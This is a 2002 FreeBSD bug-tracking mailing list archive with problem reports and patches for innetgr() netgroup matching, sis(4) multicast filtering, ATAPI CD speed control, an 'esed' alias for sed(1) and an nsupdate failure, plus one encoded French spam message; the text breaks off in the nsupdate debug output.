From owner-freebsd-bugs Sun Mar 3 1:20:12 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 2C5C637B419 for ; Sun, 3 Mar 2002 01:20:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g239K1012140; Sun, 3 Mar 2002 01:20:01 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 0BA6B37B400 for ; Sun, 3 Mar 2002 01:16:30 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g239GT211722; Sun, 3 Mar 2002 01:16:29 -0800 (PST) (envelope-from nobody) Message-Id: <200203030916.g239GT211722@freefall.freebsd.org> Date: Sun, 3 Mar 2002 01:16:29 -0800 (PST) From: Martin Butkus To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: misc/35506: innetgr() doesn't match wildcard fields in NIS-only mode Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35506 >Category: misc >Synopsis: innetgr() doesn't match wildcard fields in NIS-only mode >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Mar 03 01:20:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Martin Butkus >Release: FreeBSD 4.5-STABLE i386 >Organization: Technical University Braunschweig, Germany >Environment: FreeBSD mufasa.thgwf.de 4.5-STABLE FreeBSD 4.5-STABLE #2: Wed Feb 20 23:23:10 CET 2002 root.mb@mufasa.thgwf.de:/usr/obj/usr/src/sys/MUFASA i386 >Description: innetgr() has code to speed up lookup of netgroup entries when netgroups are served exclusively via NIS (i.e. no local netgroups defined in /etc/netgroup). This code does not honor wildcard entries. For example, according to netgroup(5), a netgroup like this should match any (host, user, domain) combination: FOO (,,) However, innetgr() yields a zero exit status when no local netgroups are defined. In the presence of at least one local netgroup, it yields an exit status of one (the correct behaviour). This bug affects both login(1) and ssh(1) since both use innetgr() for access control. It is therefore very annoying when you try to use NIS-based netgroups for centralized access control as described in the FreeBSD Handbook (i.e. entries of the form "+@NETGROUP" in master.passwd). >How-To-Repeat: This is the NIS netgroup file that I use: root@mufasa /var/yp # cat netgroup FOO (,,) This C programm will yield "0 0 0" when there is no local /etc/netgroup file present: --- snip -­- #include #include main () { int i; i = innetgr("FOO","foo",NULL,"bar"); printf("%d ",i); i = innetgr("FOO",NULL,"foo","bar"); printf("%d ",i); i = innetgr("FOO",NULL,NULL,"bar"); printf("%d\n",i); } --- snap -­- However, when a local netgroup file like this is present: root@mufasa /etc # cat netgroup BAR (,,) + then the result is "1 1 1" (as expected). The local netgroup file needs to have at least one entry besides "+". >Fix: Unfortunately I do not understand the NIS-only code in innetgr() quite well. From my understanding, it doesn't seem to take wildcard entries into account at all. A possible but ugly workaround would be to always create a local netgroups file that contains at least one local netgroup besides the "+" entry, thus bypassing said code. Another possibility would be to rip out the NIS speedup code completely. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 2:40:22 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id DB36437B41C for ; Sun, 3 Mar 2002 02:40:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g23Ae1p23803; Sun, 3 Mar 2002 02:40:01 -0800 (PST) (envelope-from gnats) Received: from tempo.gid.co.uk (host217-35-5-13.in-addr.btopenworld.com [217.35.5.13]) by hub.freebsd.org (Postfix) with ESMTP id 03C5F37B400 for ; Sun, 3 Mar 2002 02:33:34 -0800 (PST) Received: (from rb@localhost) by tempo.gid.co.uk (8.11.6/8.11.6) id g23AWNm00320; Sun, 3 Mar 2002 10:32:23 GMT (envelope-from rb) Message-Id: <200203031032.g23AWNm00320@tempo.gid.co.uk> Date: Sun, 3 Mar 2002 10:32:23 GMT From: Bob Bishop Reply-To: Bob Bishop To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35511: sis(4) multicast filtering doesn't pass some Appletalk packets Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35511 >Category: kern >Synopsis: sis(4) multicast filtering doesn't pass some Appletalk packets >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Mar 03 02:40:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Bob Bishop >Release: FreeBSD 4.5-STABLE i386 >Organization: GID ltd >Environment: System: FreeBSD tempo.gid.co.uk 4.5-STABLE FreeBSD 4.5-STABLE #4: Fri Mar 1 18:43:25 GMT 2002 rb@hal.gid.co.uk:/source/STABLE/src/sys/compile/SEAGOON i386 >Description: Appletalk Name Binding Protocol (NBP) fails to find entities when working though the sis interface. Other interfaces are fine (tried rl, vr, ed). Setting the interface into promiscuous mode makes the problem go away, which points the finger at filtering. Sample NBP lookup and reply packets: 10:20:00.551643 0:d0:9:e9:e9:7e 9:0:7:ff:ff:ff 0022 48: 255.0.158.nis > 0.0.nis: nbp-lkup 1: "=:=@*" [addr=255.0.158.128] aaaa 0308 0007 809b 001a 8369 0000 ff00 ff9e 0202 0221 01ff 009e 8000 013d 013d 012a 10:20:00.552000 0:a:27:e2:c7:d2 0:d0:9:e9:e9:7e 00c1 207: 255.0.128.nis > 255.0. 158.128: nbp-reply 1: "eccles:AFPServer@*"(0) 249 "eccles:ARA - Personal Server@ [|atalk](0) aaaa 0308 0007 809b 00b9 0000 ff00 ff00 9e80 8002 0236 01ff 0080 f900 0665 6363 6c65 7309 4146 5053 6572 7665 7201 2aff 0080 0200 0665 6363 6c65 7315 4152 4120 2d20 5065 7273 6f6e 616c 2053 6572 7665 7201 This is an onboard sis900 on K7S5A a m/b. It probes as: sis0: port 0xd000-0xd0ff mem 0xcbfec000-0xcbfecfff irq 12 at device 3.0 on pci0 sis0: Ethernet address: 00:d0:09:e9:e9:7e miibus0: on sis0 ukphy0: on miibus0 ukphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto >How-To-Repeat: On a box with a sis interface, Install netatalk, run nbplkup in an environment where there are Appletalk hosts, observe that they aren't found. >Fix: Running: tcpdump -i sis0 proto 250 2>&1 >/dev/null & at startup works around the problem by setting the interface into promiscuous mode. Probably dangerous on an exposed host. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 2:40:40 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 76D7637B41E for ; Sun, 3 Mar 2002 02:40:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g23Ae2W23812; Sun, 3 Mar 2002 02:40:02 -0800 (PST) (envelope-from gnats) Received: from mailgate.rz.uni-karlsruhe.de (mailgate.rz.uni-karlsruhe.de [129.13.64.97]) by hub.freebsd.org (Postfix) with ESMTP id 2CBD137B440 for ; Sun, 3 Mar 2002 02:38:55 -0800 (PST) Received: from nce2.hadiko.de (hadince2.hadiko.uni-karlsruhe.de [172.20.32.2]) by mailgate.rz.uni-karlsruhe.de with esmtp (Exim 3.33 #1) id 16hTOI-0003kc-00; Sun, 03 Mar 2002 11:38:54 +0100 Received: from i609a.hadiko.de (hadii609a.hadiko.uni-karlsruhe.de [172.20.49.159]) by nce2.hadiko.de (8.11.3/8.11.3) with ESMTP id g23Acrx21413 for ; Sun, 3 Mar 2002 11:38:53 +0100 (MET) Received: from i609a.hadiko.de (localhost [127.0.0.1]) by i609a.hadiko.de (8.12.2/8.12.2) with ESMTP id g23Acqkc011529 for ; Sun, 3 Mar 2002 11:38:52 +0100 (CET) (envelope-from p@i609a.hadiko.de) Received: (from p@localhost) by i609a.hadiko.de (8.12.2/8.12.2/Submit) id g23AcqrI011528; Sun, 3 Mar 2002 11:38:52 +0100 (CET) Message-Id: <200203031038.g23AcqrI011528@i609a.hadiko.de> Date: Sun, 3 Mar 2002 11:38:52 +0100 (CET) From: Philipp Mergenthaler Reply-To: Philipp Mergenthaler To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35512: ATA/ATAPI CD driver: impossible to set cd speed to magic value for "maximum speed" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35512 >Category: kern >Synopsis: ATA/ATAPI CD driver: impossible to set cd speed to magic value for "maximum speed" >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Mar 03 02:40:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Philipp Mergenthaler >Release: FreeBSD 5.0-CURRENT i386 >Organization: University of Karlsruhe >Environment: System: FreeBSD i609a.hadiko.de 5.0-CURRENT FreeBSD 5.0-CURRENT #505: Sun Mar 3 00:34:35 CET 2002 p@i609a.hadiko.de:/usr/src/sys/i386/compile/I609 i386 >Description: When calling acd_set_speed(), the speed is multiplied with 177, i.e. converted from "multiples of single speed" to "data rate in kB/sec". However, since 177 isn't a divisor of 65535, it is impossible to set the speed to this value, which means "maximum speed". (At least with my drive - LITEON DVD-ROM LTD122/IK01 - it is necessary to specify exactly this value. A value like e.g. 65490 (=177*370) won't change the drive's current speed.) >How-To-Repeat: Below is a patch to cdcontrol which adds the command "speed" so you can test this easily. >Fix: I would suggest that the driver should set the drive's speed to the value given with ioctl(), i.e. that the speed conversion should be left to the userland. Index: atapi-cd.c =================================================================== RCS file: /ncvs/src/sys/dev/ata/atapi-cd.c,v retrieving revision 1.109 diff -u -r1.109 atapi-cd.c --- atapi-cd.c 15 Feb 2002 07:08:44 -0000 1.109 +++ atapi-cd.c 2 Mar 2002 23:48:36 -0000 @@ -978,11 +978,11 @@ break; case CDRIOCREADSPEED: - error = acd_set_speed(cdp, 177 * (*(int *)addr), -1); + error = acd_set_speed(cdp, *(int *)addr, -1); break; case CDRIOCWRITESPEED: - error = acd_set_speed(cdp, -1, 177 * (*(int *)addr)); + error = acd_set_speed(cdp, -1, *(int *)addr); break; case CDRIOCGETBLOCKSIZE: Here's the patch to cdcontrol. It passes the speed as entered by the user directly to the driver. I.e with the current driver the speed is in "multiples of single speed" and with the above patch it is in kB/s (or -1 for "maximum speed supported by the drive"). Index: cdcontrol.1 =================================================================== RCS file: /ncvs/src/usr.sbin/cdcontrol/cdcontrol.1,v retrieving revision 1.32 diff -u -r1.32 cdcontrol.1 --- cdcontrol.1 15 Jul 2001 08:01:46 -0000 1.32 +++ cdcontrol.1 2 Mar 2002 21:20:28 -0000 @@ -156,6 +156,11 @@ Set LBA ioctl mode. .It Cm quit Quit the program. +.It Cm speed Op Ar s +Set the highest speed that the drive should use (default is single speed). +This command is currently only supported on ATAPI drives. +Note that reading CD data will use the speed set by this command +but playing audio CDs might not. .El .Sh ENVIRONMENT The following environment variables affect the execution of Index: cdcontrol.c =================================================================== RCS file: /ncvs/src/usr.sbin/cdcontrol/cdcontrol.c,v retrieving revision 1.37 diff -u -r1.37 cdcontrol.c --- cdcontrol.c 18 Feb 2002 20:35:27 -0000 1.37 +++ cdcontrol.c 3 Mar 2002 01:42:27 -0000 @@ -24,6 +24,7 @@ #endif /* not lint */ #include +#include #include #include #include @@ -73,6 +74,7 @@ #define CMD_CDID 15 #define CMD_NEXT 16 #define CMD_PREVIOUS 17 +#define CMD_SPEED 18 #define STATUS_AUDIO 0x1 #define STATUS_MEDIA 0x2 #define STATUS_VOLUME 0x4 @@ -105,6 +107,7 @@ { CMD_VOLUME, "volume", 1, " | left | right | mute | mono | stereo" }, { CMD_CDID, "cdid", 2, "" }, +{ CMD_SPEED, "speed", 2, "[speed]" }, { 0, NULL, 0, NULL } }; @@ -277,7 +280,7 @@ int run (int cmd, char *arg) { - int l, r, rc; + int l, r, rc, speed; switch (cmd) { @@ -425,6 +428,25 @@ return setvol (l, r); + case CMD_SPEED: + if (fd < 0 && ! open_cd ()) + return (0); + + rc=sscanf (arg, "%d", &speed); + switch (rc) { + case EOF: + speed = 1; + break; + case 1: + break; + default: + warnx("invalid command arguments"); + return (0); + } + rc = ioctl (fd, CDRIOCREADSPEED, &speed); + + return (rc); + default: case CMD_HELP: help (); >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 9:23:34 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from hub.FreeBSD.org (ANeuilly-102-1-3-182.abo.wanadoo.fr [80.11.12.182]) by hub.freebsd.org (Postfix) with SMTP id 0ED6D37B402 for ; Sun, 3 Mar 2002 09:23:26 -0800 (PST) From: jlyaich@comme-cv.com (jean-Louis Yaïch) To: freebsd-bugs@FreeBSD.org SUBJECT: Auteur propose et recherche MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0030_01C05A02.8AD62BA0" Message-Id: <20020303172326.0ED6D37B402@hub.freebsd.org> Date: Sun, 3 Mar 2002 09:23:26 -0800 (PST) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_000_0030_01C05A02.8AD62BA0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0031_01C05A02.8AD62BA0" ------=_NextPart_001_0031_01C05A02.8AD62BA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =42=6f=6e=6a=6f=75=72=2c =20 =4a=65=20=6d=65=20=70=72=e9=73=65=6e=74=65=20=3a=20=4a=65=61=6e=2d=4c=6f=75=69=73=20=59=61=ef=63=68=2e=20=20=20=4a=27=61=69=20=70=75=62=6c=69=e9=20=75=6e=65=20=74=72=65=6e=74=61=69=6e=65=20=64=65=20=6c=69=76=72=65=73=2c=20=64=65=73=20=65=73=73=61=69=73=2c=20=64=65=73=20=72=e9=63=69=74=73=2c=20=64=65=73=20=6c=69=76=72=65=73=20=70=72=61=74=69=71=75=65=73=20=6d=61=69=73=20=6a=65=20=76=69=65=6e=73=20=64=65=20=6d=65=74=74=72=65=20=65=6e=20=6c=69=67=6e=65=20=6d=6f=6e=20=70=72=65=6d=69=65=72=20=72=6f=6d=61=6e=20=22=4c=65=20=4a=61=72=64=69=6e=20=64=75=20=50=e2=74=69=73=73=69=65=72=22=2e=20=53=69=20=76=6f=75=73=20=64=e9=73=69=72=65=7a=20=6c=65=20=6c=69=72=65=2c=20=76=6f=75=73=20=70=6f=75=76=65=7a=20=76=6f=75=73=20=72=65=6e=64=72=65=20=e0=20=6c=27=61=64=72=65=73=73=65=20=73=75=69=76=61=6e=74=65=20=3a =68=74=74=70=3a=2f=2f=70=65=72=73=6f=2e=77=61=6e=61=64=6f=6f=2e=66=72=2f=6c=65=2e=6a=61=72=64=69=6e=2e=64=75=2e=70=61=74=69=73=73=69=65=72=20 =20 =4a=65=20=63=68=65=72=63=68=65=20=e9=67=61=6c=65=6d=65=6e=74=20=75=6e=20=65=6d=70=6c=6f=69=20=28=6f=75=20=64=65=73=20=63=6f=6c=6c=61=62=6f=72=61=74=69=6f=6e=73=20=70=6f=6e=63=74=75=65=6c=6c=65=73=29=2e=20=56=6f=75=73=20=70=6f=75=76=65=7a=20=63=6f=6e=73=75=6c=74=65=72=20=6d=6f=6e=20=63=75=72=72=69=63=75=6c=75=6d=20=76=69=74=61=65=2e=20 =68=74=74=70=3a=2f=2f=77=77=77=2e=63=6f=6d=6d=65=2d=63=76=2e=63=6f=6d =20 =20=42=69=65=6e=20=63=6f=72=64=69=61=6c=65=6d=65=6e=74 =20 =20=4a=65=61=6e=2d=4c=6f=75=69=73=20=59=61=ef=63=68 =20 =20 =50=2e=2d=53=2e=20=4a=27=61=69=20=74=72=6f=75=76=e9=20=76=6f=74=72=65=20=6d=61=69=6c=20=65=6e=20=66=61=69=73=61=6e=74=20=75=6e=65=20=72=65=63=68=65=72=63=68=65=20=73=75=72=20=43=6f=70=65=72=6e=69=63=2c=20=65=6e=20=75=74=69=6c=69=73=61=6e=74=20=22=6c=65=63=74=75=72=65=22=20=63=6f=6d=6d=65=20=6d=6f=74=20=63=6c=e9=2e=20=20=20=53=75=72=20=63=65=20=72=e9=73=75=6c=74=61=74=2c=20=6a=27=61=69=20=65=6e=73=75=69=74=65=20=75=74=69=6c=69=73=e9=20=41=73=70=69=4d=61=69=6c=2c=20=75=6e=20=6c=6f=67=69=63=69=65=6c=20=70=65=72=6d=65=74=74=61=6e=74=20=64=27=65=78=74=72=61=69=72=65=20=74=6f=75=74=65=73=20=6c=65=73=20=61=64=72=65=73=73=65=73=20=e9=6c=65=63=74=72=6f=6e=69=71=75=65=73=20=70=72=e9=73=65=6e=74=65=73=20=73=75=72=20=6c=65=73=20=73=69=74=65=73=20=73=65=6c=65=63=74=69=6f=6e=6e=e9=73=2e ------=_NextPart_001_0031_01C05A02.8AD62BA0-- ------=_NextPart_000_0030_01C05A02.8AD62BA0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 11:10: 6 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 831A637B405 for ; Sun, 3 Mar 2002 11:10:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g23JA1u35963; Sun, 3 Mar 2002 11:10:01 -0800 (PST) (envelope-from gnats) Date: Sun, 3 Mar 2002 11:10:01 -0800 (PST) Message-Id: <200203031910.g23JA1u35963@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Peter Pentchev Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) Reply-To: Peter Pentchev Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35505; it has been noted by GNATS. From: Peter Pentchev To: "Matthew D.Fuller" Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) Date: Sun, 3 Mar 2002 21:05:05 +0200 On Sun, Mar 03, 2002 at 12:27:40AM -0600, Matthew D.Fuller wrote: >=20 > >Number: 35505 > >Category: bin > >Synopsis: [PATCH] Feature enhancement for sed(1) > >Originator: Matthew D. Fuller [snip] > >Fix: [patch snipped] I think that something like the attached would befit style(9) more. Other than a few style nits, your patch looks great, and the functionality is something that I really do like :) Now let us see how this goes down with the src committers.. G'luck, Peter --=20 Peter Pentchev roam@ringlet.net roam@FreeBSD.org PGP key: http://people.FreeBSD.org/~roam/roam.key.asc Key fingerprint FDBA FD79 C26F 3C51 C95E DF9E ED18 B68D 1619 4553 This sentence contradicts itself - or rather - well, no, actually it doesn'= t! Index: src/usr.bin/sed/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /home/ncvs/src/usr.bin/sed/Makefile,v retrieving revision 1.4 diff -u -r1.4 Makefile --- src/usr.bin/sed/Makefile 8 Feb 2002 23:07:35 -0000 1.4 +++ src/usr.bin/sed/Makefile 3 Mar 2002 18:59:52 -0000 @@ -4,5 +4,6 @@ PROG=3D sed SRCS=3D compile.c main.c misc.c process.c =20 +LINKS+=3D ${BINDIR}/sed ${BINDIR}/esed =20 .include Index: src/usr.bin/sed/main.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /home/ncvs/src/usr.bin/sed/main.c,v retrieving revision 1.14 diff -u -r1.14 main.c --- src/usr.bin/sed/main.c 12 Dec 2001 23:20:16 -0000 1.14 +++ src/usr.bin/sed/main.c 3 Mar 2002 19:01:05 -0000 @@ -114,9 +114,17 @@ char *argv[]; { int c, fflag; - char *temp_arg; + char *progname, *temp_arg; =20 (void) setlocale(LC_ALL, ""); + + progname =3D strrchr(*argv, '/'); + if (progname !=3D NULL) + progname++; + else + progname =3D *argv; + if (*progname=3D=3D'e') + rflags =3D REG_EXTENDED; =20 fflag =3D 0; while ((c =3D getopt(argc, argv, "Eae:f:n")) !=3D -1) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 13:30: 7 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 00FCD37B402 for ; Sun, 3 Mar 2002 13:30:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g23LU1458762; Sun, 3 Mar 2002 13:30:01 -0800 (PST) (envelope-from gnats) Date: Sun, 3 Mar 2002 13:30:01 -0800 (PST) Message-Id: <200203032130.g23LU1458762@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Peter Pentchev Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) Reply-To: Peter Pentchev Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35505; it has been noted by GNATS. From: Peter Pentchev To: "Matthew D.Fuller" Cc: bug-followup@FreeBSD.org Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) Date: Sun, 3 Mar 2002 23:21:35 +0200 On Sun, Mar 03, 2002 at 11:10:01AM -0800, Peter Pentchev wrote: > The following reply was made to PR bin/35505; it has been noted by GNATS. > > From: Peter Pentchev > To: "Matthew D.Fuller" > Cc: FreeBSD-gnats-submit@freebsd.org > Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) > Date: Sun, 3 Mar 2002 21:05:05 +0200 > > On Sun, Mar 03, 2002 at 12:27:40AM -0600, Matthew D.Fuller wrote: > >=20 > > >Number: 35505 > > >Category: bin > > >Synopsis: [PATCH] Feature enhancement for sed(1) > > >Originator: Matthew D. Fuller > [snip] > > >Fix: > [patch snipped] > > I think that something like the attached would befit style(9) more. > Other than a few style nits, your patch looks great, and the functionality > is something that I really do like :) > > Now let us see how this goes down with the src committers.. Come to think of it, a manual page update might also be in order. The attached patch adds a brief description of 'esed' to the manual page, as well as converts spaces to tabs in the Makefile. G'luck, Peter -- Peter Pentchev roam@ringlet.net roam@FreeBSD.org PGP key: http://people.FreeBSD.org/~roam/roam.key.asc Key fingerprint FDBA FD79 C26F 3C51 C95E DF9E ED18 B68D 1619 4553 This inert sentence is my body, but my soul is alive, dancing in the sparks of your brain. Index: src/usr.bin/sed/Makefile =================================================================== RCS file: /home/ncvs/src/usr.bin/sed/Makefile,v retrieving revision 1.4 diff -u -r1.4 Makefile --- src/usr.bin/sed/Makefile 8 Feb 2002 23:07:35 -0000 1.4 +++ src/usr.bin/sed/Makefile 3 Mar 2002 21:17:59 -0000 @@ -4,5 +4,7 @@ PROG= sed SRCS= compile.c main.c misc.c process.c +LINKS= ${BINDIR}/sed ${BINDIR}/esed +MLINKS= sed.1 esed.1 .include Index: src/usr.bin/sed/main.c =================================================================== RCS file: /home/ncvs/src/usr.bin/sed/main.c,v retrieving revision 1.14 diff -u -r1.14 main.c --- src/usr.bin/sed/main.c 12 Dec 2001 23:20:16 -0000 1.14 +++ src/usr.bin/sed/main.c 3 Mar 2002 19:01:05 -0000 @@ -114,9 +114,17 @@ char *argv[]; { int c, fflag; - char *temp_arg; + char *progname, *temp_arg; (void) setlocale(LC_ALL, ""); + + progname = strrchr(*argv, '/'); + if (progname != NULL) + progname++; + else + progname = *argv; + if (*progname=='e') + rflags = REG_EXTENDED; fflag = 0; while ((c = getopt(argc, argv, "Eae:f:n")) != -1) Index: src/usr.bin/sed/sed.1 =================================================================== RCS file: /home/ncvs/src/usr.bin/sed/sed.1,v retrieving revision 1.19 diff -u -r1.19 sed.1 --- src/usr.bin/sed/sed.1 15 Aug 2001 09:09:43 -0000 1.19 +++ src/usr.bin/sed/sed.1 3 Mar 2002 21:16:38 -0000 @@ -39,7 +39,8 @@ .Dt SED 1 .Os .Sh NAME -.Nm sed +.Nm sed , +.Nm esed .Nd stream editor .Sh SYNOPSIS .Nm @@ -76,6 +77,11 @@ The .Xr re_format 7 manual page fully describes both formats. +When +.Nm +is invoked as +.Nm esed , +it treats regular expressions as extended by default. .It Fl a The files listed as parameters for the .Dq w To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 14:30: 9 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 7A37437B405 for ; Sun, 3 Mar 2002 14:30:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g23MU1U69268; Sun, 3 Mar 2002 14:30:01 -0800 (PST) (envelope-from gnats) Received: from subnet.sub.net (subnet.sub.net [212.227.14.21]) by hub.freebsd.org (Postfix) with ESMTP id 032B337B400 for ; Sun, 3 Mar 2002 14:24:22 -0800 (PST) Received: from lyxys.ka.sub.org (uucp@localhost) by subnet.sub.net (8.11.6/8.11.6/subnet-freebsd-1.0) with bsmtp id g23MOKk91894 for FreeBSD-gnats-submit@freebsd.org; Sun, 3 Mar 2002 23:24:20 +0100 (CET) (envelope-from wolfgang@lyxys.ka.sub.org) Received: from localhost (4715 bytes) by lyxys.ka.sub.org via sendmail with P:stdio/R:smart_host/T:inet_uusmtp (sender: ) (ident using unix) id for ; Sun, 3 Mar 2002 23:08:47 +0100 (CET) (Smail-3.2.0.111 2000-Feb-17 #1 built 2000-Aug-23) Message-Id: Date: Sun, 3 Mar 2002 23:08:47 +0100 (CET) From: Wolfgang Zenker Reply-To: Wolfgang Zenker To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35521: nsupdate fails if destination dns is not in your resolv.conf Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35521 >Category: bin >Synopsis: nsupdate fails if destination dns is not in your resolv.conf >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Mar 03 14:30:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Wolfgang Zenker >Release: FreeBSD 4.5-STABLE i386 >Organization: >Environment: System: FreeBSD gate.lyx 4.5-STABLE FreeBSD 4.5-STABLE #1: Sun Mar 3 17:28:22 CET 2002 wolfgang@gate.lyx:/usr/obj/usr/local/src/sys/GATE i386 >Description: Trying to use nsupdate to dynamically update a dns entry fails. It works using an nsupdate from early November (based on BIND 8.2.4) instead of the 8.3.1-based nsupdate that is now in STABLE. Debug-output: Working version (from 4.4-STABLE, based on BIND 8.2.4): ------------------------------------------------------- This is the last part of the output of a working update. As you can see, it asks my nameserver (192.168.203.254) for the NS Record for the destination domain (dyn.sub.org), then sends the update request to that servers ip address. :: ;; res_nmkquery(QUERY, dyn.sub.org, IN, NS) :: ;; res_send() :: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43947 :: ;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 :: ;; QUERY SECTION: :: ;; dyn.sub.org, type = NS, class = IN :: :: ;; Querying server (# 1) address = 192.168.203.254 :: ;; new DG socket :: ;; got answer: :: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43947 :: ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 :: ;; 